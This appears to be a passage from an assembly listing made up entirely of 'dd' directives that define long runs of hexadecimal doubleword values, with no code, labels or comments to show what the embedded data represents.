dd 6025E7BDh, 0E05650F8h, 42300C59h, 8860906Ah, 1B38383Ah
dd 0F5C13380h, 0D570B0C5h, 5E6F60BAh, 44606220h, 0B2688558h
dd 205A1000h, 2EC0E93Ah, 60AAC8h, 72BE4965h, 0EC0F797Dh
dd 2374A858h, 0EBADBB73h, 0AA4EE089h, 152000DBh, 585B888h
dd 0E300E2BFh, 900C7CB5h, 70B304Bh, 0D6EA950Dh, 0F0D7E0EFh
dd 0C000A328h, 0B224E542h, 2D6EA62Bh, 0D18CFB8Ch, 0E0018F98h
dd 79C9879Ah, 5CC0D4E1h, 5C6675EEh, 482E2771h, 0BEC8002Fh
dd 0A40A92B7h, 90357301h, 9AE28525h, 314971EBh, 0B9E1F039h
dd 0ECDC506Fh, 0A8047DE7h, 0C83810Dh, 0D8A117C0h, 5677008Eh
dd 1B41ABCh, 50D8C929h, 52B7C648h, 741BFC63h, 8EC161A6h
dd 133910DDh, 0AB6917FCh, 0E912002Fh, 0D2E5F79Dh, 467C4E00h
dd 2DB48B2h, 593A3030h, 0DE670941h, 1290D70Eh, 8DB08026h
dd 0C16B5A5h, 3099E2DAh, 6002581h, 27D462C8h, 4E0CB33h
dd 0B16F79D8h, 1566C045h, 736FC0A4h, 3B0D80A1h, 1492D9h
dd 6121B0C2h, 42B8F96Ch, 60AC2Ch, 36580E00h, 60C05CABh
dd 14B73971h, 1B003293h, 0B09E5F15h, 72C6641h, 69918AD9h
dd 0AA9A90CCh, 0D40AE4C3h, 0B4589BE2h, 29D60642h, 5E30F00h
dd 0C6053097h, 0A2740141h, 0CF069820h, 879C3CEEh, 19D57306h
dd 0F0018D2h, 0DAC8E25Eh, 0FB2D0Eh, 643E352h, 5D44452Eh
dd 5C69250Bh, 5F0100A3h, 63CA50F6h, 436E0807h, 0F48C2000h
dd 637F7AA2h, 98670077h, 94ACCA0Fh, 0C601C8A9h, 0C973582h
dd 37E84607h, 0B89B0187h, 624E4925h, 0BC48C963h, 0ABA40048h
dd 0E5AAB010h, 0C3451871h, 61F80855h, 3EA20C0h, 1B6C5F11h
dd 586DDEE1h, 0AFA81867h, 5169B741h, 0AE451180h, 0DDCEB984h
dd 0A695A70Ch, 0C01E0885h, 84B69221h, 3CEA4887h, 502B9007h
dd 7B20D57Ah, 0EF2F0D49h, 0F35AE180h, 2ADAD287h, 4D0F3100h
dd 0FC58A2B5h, 0C00A015Fh, 56C440B0h, 8890B174h, 0E40D6A5Ah
dd 0CE23AC84h, 1F11D5h, 0DD84B793h, 33987DFh, 3016713Eh
dd 210027BCh, 0C56231CFh, 4846C2h, 664D5253h, 1A5025E8h
dd 0B01F8930h, 75DE5BEh, 0D594E917h, 73151082h, 0AE00ED0Dh
dd 1423992Fh, 75B2DDh, 1D9A0A8Dh, 0EFE2FCE7h, 2E794A7Eh
dd 0F1EE411Fh, 76ADA6C0h, 0DFE7D1h, 85CAC7B3h, 942855BAh
dd 10560100h, 97F1CF2Eh, 37B3BB2h, 7219D680h, 0BB3EDBC5h
dd 0A11FAAC0h, 0C686FBh, 0B41D1B3h, 0F51E28BFh, 0CB353E00h
dd 8C9EC7Ch, 0B22000CAh, 8A023D5Fh, 578DB5Ah, 0B5186800h
dd 73805B96h, 430D036h, 0FC272E0Ch, 28007E10h, 0E4234979h
dd 72DEA46h, 2B4574CBh, 0F32EE0EDh, 70760857h, 3C0F321Bh
dd 0FD21AC28h, 10D71226h, 8E881081h, 532688B6h, 7A08AB89h
dd 84FA1144h, 0AF21A942h, 940E3908h, 5F113C36h, 2C83214Dh
dd 0E2293264h, 4FC32882h, 586722h, 0A5E7BED4h, 6BA9E600h
dd 93D9038Ah, 13B7581h, 0E951639Dh, 71CC3E2Eh, 0E6B8D4F0h
dd 0CE5EEB00h, 0C66112CDh, 0EE1B3DF6h, 0A2761900h, 670A1799h
dd 0B40EAC00h, 0D7819A84h, 119E583Fh, 41639600h, 5C8923F8h
dd 0A7AE0B00h, 0FCD8B069h, 7DAF0714h, 801FEC0Ch, 9C9A59E1h
dd 9F0001F6h, 0E8274F8Dh, 0CA3806h, 86B06135h, 56E7CB95h
dd 57886600h, 0D2EC5522h, 6583872h, 5F441780h, 0B913257Fh
dd 0B16AD000h, 0D7561940h, 8327002Ch, 1A3DEA03h, 530ECE97h
dd 0C0A948E9h, 0E625BAA6h, 5B9301A4h, 0D67492B3h, 0C03AE538h
dd 0AC14CB4Dh, 0D72A8Ch, 10450D7Ch, 90CC6490h, 5DA20A20h
dd 84A1DBh, 0EA62E7Fh, 457ECAF9h, 776E9C00h, 0AADD069Eh
dd 0AE033FFCh, 498C593Eh, 4390EA0Bh, 0C9384007h, 8D217677h
dd 5424AD9Fh, 4A57051Ah, 800597F0h, 22B8446Dh, 0A90C6B7Eh
dd 7176FBEEh, 0AA18006Dh, 0C47DCEC6h, 0B139822Dh, 0B0E18089h
dd 97B56F3Fh, 531600DDh, 0DFA4FD05h, 0C20BFFF5h, 5C4189Eh
dd 5B807F40h, 0E32614h, 920489ABh, 3D33F8CBh, 61066E00h
dd 240BCA29h, 5AFF009Bh, 7FA57E1Fh, 0C00328ADh, 0B0396BCFh
dd 790DE3Ch, 4AC61533h, 7F5C8087h, 4D600BE4h, 5436E5C8h
dd 58280EC2h, 9507DA69h, 1F5FE087h, 350F70ECh, 0A09C8563h
dd 1D917AAh, 0C62E0738h, 0B0D549FFh, 1F20DC4Fh, 0B00B1B0h
dd 3FDE37DBh, 329C75h, 48854693h, 5D837A71h, 0B0481098h
dd 3F007106h, 0E23EFE57h, 263703h, 544CF26Ah, 79499695h
dd 91D51D00h, 7EFDEE2Ah, 37A0055h, 0E1F82B6h, 3D006ACFh
dd 4E46C1C7h, 3C65179h, 3FDB766Eh, 0F7E84956h, 0E800F920h
dd 80B9621Ah, 28A6B1ABh, 2F8F5E0h, 296C3DBh, 9E0EE8Bh
dd 0C00BF27h, 9251F4EBh, 1ED8625Ah, 28395754h, 869C009Ah
dd 5CB25699h, 0F903BED1h, 3996F0E0h, 0CEFD9022h, 42D40205h
dd 66467D1Bh, 60776860h, 57925200h, 65AF7B25h, 114E00E4h
dd 0EB410BFCh, 377AA297h, 0A0071AE4h, 0C1CCD61Fh, 42E3BD0h
dd 0DB750026h, 4217AE58h, 0B900BB73h, 8C43F4E7h, 55DE6D4h
dd 2D20B707h, 66E8006Ch, 0DF17EB11h, 3946E460h, 0A936D1h
dd 254505F2h, 0A493385Bh, 7F3BBFFAh, 0D27E8FA5h, 1EC180FBh
dd 0B79ADFh, 0BBB8A617h, 207FB6FDh, 0F9011509h, 2E640010h
dd 413DECh, 3663DA2Fh, 0FB46099Dh, 0E940150Fh, 198002AAh
dd 0FAE4612Bh, 0B4C1F4h
dd 0C8AE612Ah, 0D0D5914Eh, 38C0600h, 0F0A2E972h, 7CECFE87h
dd 693A0048h, 976FDA2Eh, 4B4C885Ch, 408C0042h, 0A3B078D1h
dd 7BF800D8h, 0C97AD7E5h, 95004F5Fh, 943EFA0Fh, 0A01F52D3h
dd 171A43A4h, 0B323Dh, 3BAA2F2Bh, 5B009E08h, 0E3B2B79Fh
dd 7A77591h, 0B9476374h, 5E591009h, 0DD006BA5h, 0F8E7A237h
dd 0F1AB27h, 6CFAC129h, 3D925C09h, 50204Dh, 3C06E2EBh
dd 0C1DB62h, 833B3AEEh, 0BA51336Eh, 0F4397A00h, 0DECA69FFh
dd 5A85019Ah, 0BF3106B9h, 0B5A6F816h, 0CE0E0FE0h, 2389B319h
dd 0C01BA576h, 7BB0CCA3h, 0CFA42C5Ah, 0EC2D94A4h, 0C92A6007h
dd 443F50B1h, 0B0C4B386h, 0ACC024EDh, 1E886223h, 3F272D9Ch
dd 8945750Fh, 3FD69960h, 8459D11Bh, 0B6A304B0h, 34C0035Ch
dd 68B7BFh, 0A47625E9h, 9CD9748Dh, 5D3BFA00h, 0F822C3EDh
dd 717A091Ch, 0C084B4FFh, 3F2B80F6h, 5A0968BAh, 809CFCCFh
dd 1871CEDCh, 0D8983044h, 1C8C5140h, 0BC3FF400h, 790C9922h
dd 770E003h, 0CD9EEFEDh, 2AF64046h, 0A302E4F3h, 3993AD80h
dd 7EDA4148h, 3CB68C30h, 9263DDAEh, 0D5B80821h, 1004CBDh
dd 0AA2687B0h, 1CF58312h, 0C0301154h, 0E9423F96h, 0F4244B33h
dd 0AD01C015h, 0D97D3E8h, 0EF40C835h, 65205Bh, 26F44DA8h
dd 0A74B8B72h, 1D48AA74h, 0CA5820h, 23B64590h, 95164Eh
dd 2775CE3Ch, 0E49AD734h, 0BDF03F60h, 21DD112h, 661AD6D9h
dd 64E84F96h, 1002FEDh, 4B2449DDh, 0C7BE33AEh, 13F4AB81h
dd 0CCD8B948h, 0FCB016ECh, 7661150Eh, 0C011E104h, 708F294Fh
dd 18C9D67Dh, 25706E8Ch, 3AD7A3Bh, 3AC14853h, 612CA097h
dd 4AB70249h, 1DBA750Fh, 9A95CC0h, 1F3AA700h, 2938BB74h
dd 9C2A1D83h, 0CA06818Dh, 209D2CEDh, 5420A40Ch, 0BD162C67h
dd 0A2803F51h, 0CEBE6F42h, 11095E8Bh, 28FE4h, 35F69618h
dd 0FBBD1350h, 0CC380377h, 0A09F8E2Bh, 0BBB0EF5Dh, 169C2100h
dd 7C23D77Ah, 421C00BFh, 0D50572CFh, 611EB1C5h, 28C0D822h
dd 59EDE729h, 0CD90FD0h, 4620A7D2h, 3965AA9Ah, 1D6FEE00h
dd 174E99A8h, 0BD12075Bh, 0B0FFF7F6h, 64593ABh, 64B6F80Ch
dd 1ECCCE9h, 14DFDEDDh, 47FF5F07h, 7F5621C4h, 2388C4AEh
dd 78AAF200h, 9AC2C9ABh, 0F86B00D4h, 90B2E6C1h, 1500FED7h
dd 0C6A37E3Fh, 382B6675h, 53808EA9h, 4EB8B0D6h, 0AF2E21EAh
dd 0E602A80Fh, 6844ED4Ch, 516830h, 16C5496Ah, 0B999C1C4h
dd 0E60B1300h, 0FA86D1CCh, 0E0A0A0F8h, 41693C51h, 0A09068h
dd 0E3D23F78h, 2D14E2B9h, 0E0FFF8h, 275E4EDDh, 9022E92h
dd 144ABD6Bh, 96CDEC00h, 51003C3Bh, 0CA82FBADh, 797508h
dd 9F29988Ah, 1D52D0F4h, 34555B00h, 3FA46F30h, 1C7124FBh
dd 0CEA80040h, 785192AFh, 0BA1696C1h, 7C2055C8h, 0C0904CD1h
dd 0A4146500h, 0EBB4CBC5h, 0CA0CB8C0h, 5314C26h, 787E2977h
dd 0AB84D221h, 0BBB045h, 87FACC2Ah, 3389A83h, 0B975E286h
dd 0CAC92DE3h, 6B5DE8B6h, 5056FA04h, 408072AEh, 280B8B3h
dd 0F244E3C0h, 2E41E548h, 7020F54Eh, 8E06E66Ch, 2154DB97h
dd 0E4F0010h, 0DC704207h, 0EF136350h, 0E000679Fh, 0A321A690h
dd 348901F8h, 3DCDAE02h, 4048C93Eh, 103AD5D8h, 5BDDD201h
dd 1F408E0Eh, 0F2DC20h, 0E2FCE99Fh, 0C69015D9h, 9B3DC900h
dd 0BD2CE39Eh, 511A00A0h, 7044B94Fh, 0D7002634h, 0EF0B4295h
dd 34CC4h, 18F4A6E8h, 3BD8D90Ah, 58B03477h, 2E3A2F58h
dd 884F40B8h, 0B12EBh, 22C4E67Ch, 73009D20h, 0A39A369h
dd 1F06B779h, 403338EDh, 44FF243Eh, 3A0E1E0Bh, 0E0AC66E1h
dd 0BF7576ECh, 1FAF00DDh, 5D976490h, 0C300EF4Fh, 3FF135EDh
dd 1A8D05h, 0C6C9BB70h, 0A9923746h, 9A677C00h, 289665A8h
dd 0E3D40040h, 4173C16Fh, 0A206D38Dh, 4B99AE45h, 0AF310040h
dd 5C58F7A7h, 3400FFD5h, 0C763151Dh, 281AD4B3h, 28A0379Bh
dd 0C099DBh, 0A86F5B76h, 0F3A674CDh, 27000A7Fh, 83070916h
dd 98CF0310h, 0F4CD4870h, 54D18E00h, 2EAB2D6Ch, 0BDA8081Ch
dd 7CFEDA04h, 47F76A80h, 66DE00D6h, 80AE6055h, 0A600C363h
dd 0C6868718h, 6B776Ah, 4EBC8316h, 0E2648EA2h, 6747361Dh
dd 0E700F4BAh, 0F2967577h, 400953h, 0C9345F38h, 6A03B72h
dd 48AB48h, 8DEE3F11h, 0BE6280h, 0BF1939A1h, 20909D0Dh
dd 7BC5161Ch, 69CA4040h, 1C8E7330h, 98AE815Fh, 34CB3060h
dd 391EB212h, 7855D400h, 143366h, 0D9A41D4Bh, 1CC59BCCh
dd 149FE00h, 8F035897h, 0F8920086h, 0E28BA5F4h, 0FA7AAC0Fh
dd 84CE3228h, 45D3Eh, 7FA0A62Dh, 0CB8463Dh, 0EEFFD973h
dd 6D3C4256h, 7FA3C50h, 0F5E530A9h, 0C2E1F8C0h, 91D20371h
dd 0C84EE606h, 4F192DE8h, 0E2DDCF00h, 7AFB477h, 0AC793E9Eh
dd 0CD920F7Fh, 11A03A53h, 52C04BF5h, 0E80EBAE0h, 9C1875C2h
dd 30624200h, 7B3E12h, 1219AA1h, 452E935Ch, 6F052F02h
dd 48D11A2Bh, 80B949E8h, 0CCBAF6E8h, 3002FEE6h, 50188A35h
dd 19F44085h, 460E2429h, 68BE0008h, 2245766Ch, 0CB471B1Ch
dd 0A071CF0Fh, 213DC78Dh, 9F7E0032h, 0A9173C35h, 4A001287h
dd 0BAC25B5Fh, 7A50162h, 0D1BF7F4h, 91A7229h, 38E09DC0h
dd 8BE55100h, 0F7CFC3B1h, 9A8B0A6h, 7A292D55h, 1A24D040h
dd 17CD9F00h, 22F0A0E9h, 0BA8F06A7h, 0A03531E6h, 805E533Ah
dd 2DBE17ECh, 3167DF6h, 2F815B4Ch, 2BC31182h, 0E45F5803h
dd 1D9E0BF2h, 0C0C1FBE0h, 0A668CF36h, 75008808h, 15EFE0CAh
dd 9C13ACh, 0B82E424h, 0DADE855Dh, 0F74C357Fh, 0E6E500BCh
dd 5CE3CDB5h, 0C4FD0168h, 0E9B28E0Ch, 1861F426h, 0D3708C00h
dd 37CDE459h, 0FE961323h, 890058Fh, 3150806Ah, 0C71C9974h
dd 0E7136E25h, 0B7573C00h, 0EE64D2B5h, 0B35C0068h, 0B90D54F1h
dd 0F7009CF5h, 73BC317Bh, 308FFDB1h, 0C4D885ABh, 0E38DEDFh
dd 661B0EB3h, 0FEE86077h, 5831043Eh, 843C087Fh, 791C3880h
dd 707681D8h, 4D2B3907h, 0E00E7B87h, 1C53FAE5h, 0CAAC03C8h
dd 0DB419C4Bh, 0EE5460D8h, 4DBDD400h, 1F38BB6h, 1C20ED12h
dd 975C0302h, 0BA0AAB4h, 5933C002h, 407656ECh, 7855510h
dd 3546B562h, 0C8D0903Ah, 5902F742h, 0B611F383h, 5CCE84Dh
dd 0BF8012CDh, 40531647h, 1B84F8B8h, 0C6180B49h, 0A461F9FCh
dd 8B2096A0h, 182030D5h, 48D81C51h, 5CA2040h, 7AA411D7h
dd 0E11490F1h, 5602C326h, 396654F4h, 0F0E46034h, 0BB981D3Ch
dd 4BBD4A0Ah, 705528C3h, 7CCE021Ah, 0A00821D1h, 60C4E2F7h
dd 0CA2718h, 3EB5C199h, 0B53B13Fh, 166D458h, 3CCB1B79h
dd 2070767Dh, 7AAD0F4Eh, 8260AA87h, 5AC65B22h, 2644A438h
dd 0C0259669h, 2B856Fh, 0F5786750h, 177FD8EAh, 80FF403Eh
dd 93A9EFEDh, 6E2C42h, 3322AB70h, 775537D2h, 1D49F600h
dd 16807B3h, 5B160065h, 46613ACAh, 0A40FDD59h, 82BA423Ch
dd 40EDC094h, 27318Ch, 1AFD552h, 602F72B8h, 6DD8B300h
dd 48232BF8h, 0F64D00BEh, 41B06C7Ah, 400217Fh, 0A6FC36F7h
dd 0EE12D6h, 9E1B76EBh, 0A5B730D8h, 94E7DE13h, 11CC2C00h
dd 0DA3707h, 6F6222FFh, 0D84A5AF0h, 7870BD00h, 9E5DC2A1h
dd 869000C8h, 0A2E50B4Eh, 0E00B279h, 753AA6DAh, 7E98EF2h
dd 592BF5AFh, 6EC620D5h, 5C00E08Ah, 0A4FC4A57h, 49234CFh
dd 8FF0EBC4h, 8380A421h, 9607843Ch, 0BC014C25h, 126C6D5h
dd 77B43020h, 7C5799Eh
dd 0E2A9CA90h, 1AA2B0B9h, 833DFDE3h, 6A8E9F31h, 0D9461F40h
dd 4BC696h, 0F2ADAE7Fh, 7BD6A835h, 0C98E38h, 0F779C256h
dd 3FAC6728h, 40CA14EEh, 96358E38h, 2C00F446h, 9F803479h
dd 7D69905h, 0C8A7203h, 9B449E3Fh, 208083FFh, 8856B088h
dd 0EC3D7E00h, 0BE7F2CA7h, 6E7770h, 0CBBA33B7h, 0D7B0A635h
dd 0D576F900h, 5B0653C1h, 963A0363h, 889FC24Fh, 0F1BEC0BCh
dd 5712BA43h, 2C0760B8h, 0C0699BA2h, 8835D970h, 7400B249h
dd 2101FCC1h, 0B4EAAA64h, 0A0990FCCh, 59930A60h, 8E003E71h
dd 2313561Eh, 0A169F8h, 2E5E1496h, 8EA0BA6h, 9D0AE500h
dd 705D3961h, 0AF7A51h, 442D953Ch, 92A75C7Fh, 7250DF00h
dd 0C8E59FCBh, 4F151F91h, 56DF32h, 0F6981D40h, 7B00F3A1h
dd 1A1625B9h, 52E757h, 94782F6Fh, 0DB1E533Eh, 153CC61Fh
dd 0AA10F300h, 7B9772h, 0E6285987h, 0F1D36653h, 9F142001h
dd 724D0CD5h, 48B2F2ECh, 9400EFF9h, 4A4C6C37h, 223E6D51h
dd 809A809Dh, 0C3CC92DEh, 75D4139Ch, 9FEC0050h, 21EE0576h
dd 0DCD38B00h, 0B04CC9FCh, 8FB404C2h, 0C023380Eh, 5E13CE34h
dd 1E7EBC2Eh, 2E835D04h, 509B5FC0h, 4D55009Fh, 0A51B8C41h
dd 0F000E498h, 7FCA0C0Eh, 0F822C4h, 195BB228h, 146E84B0h
dd 54B86409h, 6B3480F0h, 4D52F50Fh, 40090C7h, 9FF2DB5Eh
dd 8509D827h, 0E561986h, 6124030h, 0AA7BA0h, 179DC196h
dd 0D2054DD1h, 9043A3Eh, 505708h, 114B7CA4h, 0E529004Ah
dd 1DBB8AD9h, 0A0175B30h, 0F50AF846h, 90400C05h, 172C678h
dd 0EA96C9F1h, 0E477CD71h, 7E003874h, 5123EDDAh, 90CA3C75h
dd 0BBE13D2Ch, 0EEB3AC00h, 2220ADB1h, 8012C0C0h, 2DCC9h
dd 0E770F5BAh, 0BED81DA9h, 9A0BC300h, 2E38FAC0h, 49253E4Ch
dd 75B65200h, 0A4D227A3h, 0C7562B01h, 0E9B95485h, 285F38C8h
dd 94EA11h, 0FF71C30Fh, 0D315C910h, 2B41D91Eh, 381881E7h
dd 0B06C40B4h, 60792F00h, 9F6333F6h, 43201C62h, 1CA07024h
dd 0D8D0B083h, 58F711F9h, 29C05698h, 42F327A6h, 0EED0344h
dd 772375ACh, 14673E90h, 21025800h, 0FCAA7F53h, 0B7BAC0D6h
dd 0F38D16B2h, 0E1A8B460h, 1DEE7C52h, 0C0F1DEF4h, 9FC56AD2h
dd 0C700C92Ch, 0B380A257h, 0EE6FAh, 189A9CAFh, 47AC6465h
dd 0E40CF207h, 202FC2B8h, 7E5CED57h, 0EC7A58A7h, 4724FE1Fh
dd 1FB2E92Bh, 8AE015EEh, 7CD33D78h, 722C6607h, 0A5738364h
dd 0ACB9B0EBh, 0E1620532h, 439C0B3Fh, 82F3B4CCh, 0FCA44FA8h
dd 51244C00h, 0FA40E9D8h, 0F1AB0011h, 5ADC703Eh, 2702AD96h
dd 0A38CCCC9h, 0A1C0E150h, 0E83BE1C4h, 0B660E81h, 3040892Bh
dd 292595Ah, 0B840EA00h, 8A336B73h, 4CF20019h, 485242E5h
dd 0EB793712h, 0AFCF8C04h, 79C061F9h, 0E5E5C85h, 51BED727h
dd 80C42305h, 5669000h, 0A8654Ch, 84582BC9h, 5D8AE6h, 5EB65A79h
dd 65FFF4A8h, 0A9A4C617h, 54B28CD0h, 45E00096h, 0D1304F20h
dd 291FDEE5h, 2EB99248h, 8200F0ACh, 14EF7075h, 4840619Ch
dd 0F893EA8Ah, 9B12F803h, 81C6FDBh, 0AA4E719Dh, 23CC0AFh
dd 1C850AEh, 1B62B5BAh, 7098EA03h, 9035DCDFh, 0FD80101Ah
dd 0FF8B670h, 89B9C9C2h, 9751503h, 21D76287h, 20E40461h
dd 0E301FE71h, 446A744Ah, 32ECF642h, 0B4116013h, 8CAC073Fh
dd 10B8727h, 9CC7C3F4h, 4B68CECFh, 99C4B0F2h, 40D88100h
dd 5EB4CC8Ah, 717C60h, 290DC269h, 0F8370A0h, 0E0BF4828h
dd 61132800h, 5138C4C9h, 1D21FF3Ch, 0CD7420h, 754D71CEh
dd 1F288D61h, 0E62C1B7Dh, 3D8318F5h, 0A1E1012Fh, 0C5D85E89h
dd 9351007Eh, 0D54758AEh, 305677Ch, 0C1C344FAh, 0AB200CC0h
dd 9F6D0F89h, 5A2070F8h, 5C4501DFh, 3F17FD12h, 76B3A503h
dd 3DAFA972h, 84D2A080h, 0D361279Ch, 6ACF2000h, 6B126936h
dd 57660016h, 65E27EA5h, 0D507A86Dh, 0E876883Fh, 450503C0h
dd 1A22004Fh, 0A57FA798h, 0A40C398Eh, 10A81D66h, 0EB5A001Bh
dd 0A91AF30Ah, 0AF001F59h, 56FCB8FFh, 5CB34D9Fh, 19004911h
dd 0BBFCC8Eh, 6B1FA834h, 0DE023B70h, 70903DE2h, 1BD600B4h
dd 6875456h, 0A9DFF482h, 974F6300h, 349F80Dh, 80ACB3C4h
dd 33D008DCh, 6C005702h, 0A720F02Ah, 58C81143h, 5C38408Ch
dd 2EC5D13h, 0ED469320h, 0BF82ACF1h, 0F0888976h, 0C7E10040h
dd 3D7F5F0Dh, 0BE175DEBh, 38800A4Fh, 731DA5h, 0BC447E7h
dd 3F50787Eh, 0D555161Dh, 0B71B95C7h, 0D4215680h, 0F304074Eh
dd 6069B290h, 6F994812h, 0C523DA12h, 80AF460Bh, 89CB191Ah
dd 38B100BEh, 93588539h, 8F005F99h, 1CA0F8D7h, 3D7C2EC5h
dd 0D40017BBh, 0C7845420h, 1A0014B2h, 3C369CE0h, 127FA14Ah
dd 97C126Ah, 0C9800EFAh, 0D0ABEAC7h, 0F35B1B17h, 0C2BF4100h
dd 0EB80A0h, 0F177480Eh, 78D17FEFh, 0FD35E600h, 0F41A1325h
dd 0BB17855h, 0B38EF038h, 0B5838055h, 1E7E8387h, 215CFFh
dd 0AD1ADFEDh, 987778EEh, 644201Dh, 0C700AF52h, 73FE1027h
dd 80F54F8Bh, 4E9B7F0Bh, 48CB2613h, 758CD903h, 0A0A8A838h
dd 6C16088h, 0B5B676E6h, 0E35DF91Ch, 9D45EA81h, 0D0D43304h
dd 3ED5002Bh, 0ACE153E5h, 48007DD3h, 82E87FF3h, 0E0FB8F8h
dd 0BA8CF416h, 0E5E67360h, 0E0008184h, 24FD296Bh, 0EC3D7E4h
dd 0E8C85C09h, 0C44E32A0h, 0D02697Fh, 4B9AD171h, 78AC81E7h
dd 0C0C9E976h, 2F97FBF4h, 150049C4h, 3AF75DFFh, 2C393500h
dd 8A30BD7Eh, 86200ACh, 0CB1744EAh, 3507E05Bh, 2040C58Dh
dd 61F3C777h, 67100084h, 0E12D4CD7h, 6877CFDEh, 0F7C0807h
dd 4DC05289h, 238198h, 0E8C7C1D9h, 4B42D6DEh, 0E2142F09h
dd 0C4A102EBh, 3462C165h, 0DD7EC4h, 0EA3C6F0Bh, 20CABBB7h
dd 0F520A13h, 8F976100h, 0A1BA98h, 928C2FF3h, 942E1F07h
dd 0F9F43Fh, 5216534Dh, 280E8867h, 2D2383Ch, 865CDD64h
dd 0A0A0E6C5h, 96EB12C7h, 0E029C828h, 8A5B8900h, 27471F7Ah
dd 9CF00090h, 198D1824h, 0B9002378h, 915F28FAh, 36E82BBh
dd 34952BA0h, 48D01B76h, 0B700254Ah, 0D0025C2Ah, 7836F4h
dd 0D208DADDh, 5A1DEBACh, 0FEBD1000h, 0F591C0A0h, 784D6014h
dd 0EE8A194Eh, 0B732CC00h, 2DF99A40h, 0C0087D22h, 0D5F16720h
dd 0E70C66EFh, 0B152804Ch, 0B72F37CFh, 0D6328040h, 336FB1F2h
dd 59906108h, 42D4EEE4h, 6BE0FBDh, 0B640CDE6h, 34198B04h
dd 9678F2F0h, 0C052E505h, 6FC30B25h, 161EC04Bh, 32AE059h
dd 0EE048FBDh, 0CA03BA55h, 823D3041h, 2E3B88F9h, 3640A04Dh
dd 0CB52304Ah, 722BA50h, 96B5E607h, 6410C776h, 3D99215h
dd 87E5E98Bh, 0F59B8297h, 9384A003h, 98DDAB22h, 13E437Fh
dd 0BF025BA0h, 0E3DC579Eh, 84E21C39h, 0C0351350h, 0C50AB890h
dd 0CAE10038h, 914B67B6h, 3600EF92h, 0E5406F3Fh, 5B29BFh
dd 4CD3819Bh, 2650B3B8h, 4E1B6C90h, 0E0B9E7E1h, 76B48B2h
dd 0D290BD12h, 0D3FB3054h, 400989Eh, 240CDD76h, 0BD407169h
dd 0BF609978h, 0C7E78981h, 0DCC3000Fh, 3A4FAA4Ah, 0BF1CBC47h
dd 0A24C2644h, 39EE294Dh, 668175AEh, 0CFC5D6B1h, 0E1088CD9h
dd 70D2018h, 4CD5750Ah, 0E29C0322h, 8200197Dh, 769B62Eh
dd 3BF24A6h, 944C7D86h, 338803BEh, 32069821h, 0ACDB7CD9h
dd 8A1D0688h, 0E1B6ED9Dh, 8CECEB00h, 0F5EE33AEh, 64C1D19h
dd 21EE3BF6h, 408CDCDEh, 0D1D38477h, 9A119857h, 8E00E6E0h
dd 2C5A25FAh
dd 290019B2h, 0E9606DD9h, 1C567911h, 6E60801h, 0F88E9599h
dd 6B2FAA0Ah, 651C94F0h, 0C3969D41h, 0EA476E22h, 84390A20h
dd 7FA3D7Dh, 28DD07FFh, 6077D79Fh, 6FD15482h, 6F26700h
dd 292CE094h, 8F8E01F3h, 0E2D39BB2h, 7A33701Ch, 1EE6EBF8h
dd 83B018C0h, 0E8D9C6F8h, 0FA9E00C8h, 0D256840Eh, 0A118EDE7h
dd 0DC08E83Bh, 9A20C076h, 4C388433h, 238F7E06h, 30482B4Fh
dd 9D205326h, 0CB005DBEh, 50CE28F8h, 6C9CAA8Ch, 0DA207891h
dd 0D2A833Ah, 11C3FEE8h, 7C184FD8h, 0ED520611h, 8624127h
dd 209DBF30h, 3194802h, 0BEF9EA35h, 1900CAFEh, 245D9B32h
dd 70F3B4E8h, 0C2771E34h, 0F5E780C4h, 51C6CE75h, 4A788460h
dd 2C52DEh, 0CA145B48h, 0C7861922h, 59D9E461h, 6BE8D909h
dd 2E8501B4h, 2AF73E8h, 0B55E30BEh, 0BBC65F00h, 0C88E4C87h
dd 79323049h, 0D9FBA3D1h, 82E8A176h, 3F74E19h, 21802A08h
dd 0E3D9F438h, 0C734653Bh, 0D4C09129h, 7EBF2D2h, 11AFBBB5h
dd 0BE10B0AAh, 700E75Fh, 40A7E5D6h, 283DC4DAh, 0A8E3ABh
dd 940BFE21h, 6077BD0Fh, 4EA06C00h, 0A20223E9h, 0AFF008Eh
dd 456BE7CDh, 7F00A3FEh, 0FAF94031h, 0A05330h, 0FD0D7C8Bh
dd 17CCA733h, 7376505Ch, 0F6E8017Ah, 7F8E8D00h, 53A004CBh
dd 0E09D006Eh, 0DA204C3Bh, 2505A6B2h, 2675E58Ch, 0F400042Dh
dd 18B97730h, 18760A80h, 483C3D85h, 0E93283D3h, 304A591Fh
dd 0CA21C508h, 17004865h, 73AC2997h, 8023F7h, 263C96A8h
dd 7E138AD6h, 1CCC934Ch, 0F5006D25h, 7CB1E52Ah, 0E98C000Ch
dd 533BD680h, 0D4335CB6h, 0EBA158D9h, 88FEA30Bh, 1374A03h
dd 870C79F4h, 0F8BD40FAh, 0FB00B6E0h, 9A76FEFDh, 5365958Fh
dd 8684205Dh, 0E2C067EFh, 0A061BD2h, 6B2D3AD9h, 712C8084h
dd 0C1A1C5B5h, 0EA09AA0Ch, 0C18D08CCh, 0B5C8A921h, 0B7608C8Eh
dd 188F80F9h, 0D0D64D9Ah, 100C25A3h, 11C4C182h, 0EBCF3054h
dd 192D4028h, 6848D960h, 0C6D0DAh, 1E0FE4A5h, 0B6B0D7DDh
dd 5F00D37Fh, 3906BDD6h, 517FAA1Fh, 0AE0B4F5h, 886860AEh
dd 6A9C4715h, 21C59015h, 7A6015C4h, 0D28400E4h, 56925BD9h
dd 0FA577FDAh, 363306CDh, 0ACECBB03h, 8C6CD83Fh, 410BA114h
dd 25F72006h, 18377518h, 0E3958A9h, 1611834Eh, 6AB59A40h
dd 641EDE9Fh, 0C9C08AEBh, 0A013D1D2h, 6E49C0BFh, 82FA5C81h
dd 90703Ah, 9CF69155h, 7F87DACh, 95B65821h, 107B96B5h
dd 0E2249B00h, 0B8669861h, 3BD92B02h, 0B58001C8h, 0E49A1C6h
dd 0B577CE00h, 2DD3A4Dh, 10D0F440h, 42D7992h, 0BC772F5Fh
dd 3C386898h, 5AA36648h, 0CB008A11h, 8BDD4840h, 694892F3h
dd 46B31D5Ch, 26ADAA45h, 586C60C0h, 97811878h, 445B896Ah
dd 5ADE8200h, 0D28AE753h, 0D9F7017Dh, 36FC57BCh, 30D60273h
dd 0D079483Eh, 0B1224A46h, 4866A51Fh, 0E89641C0h, 0F78171C3h
dd 0D1D33857h, 0E87C9F61h, 435412A1h, 92784125h, 0F07B572Dh
dd 8A498C37h, 2B6F000Ch, 54D167E0h, 0F6506B9h, 40C28192h
dd 0F2BC0652h, 0E7FD3093h, 80C3683Bh, 2A13057Eh, 8476A3h
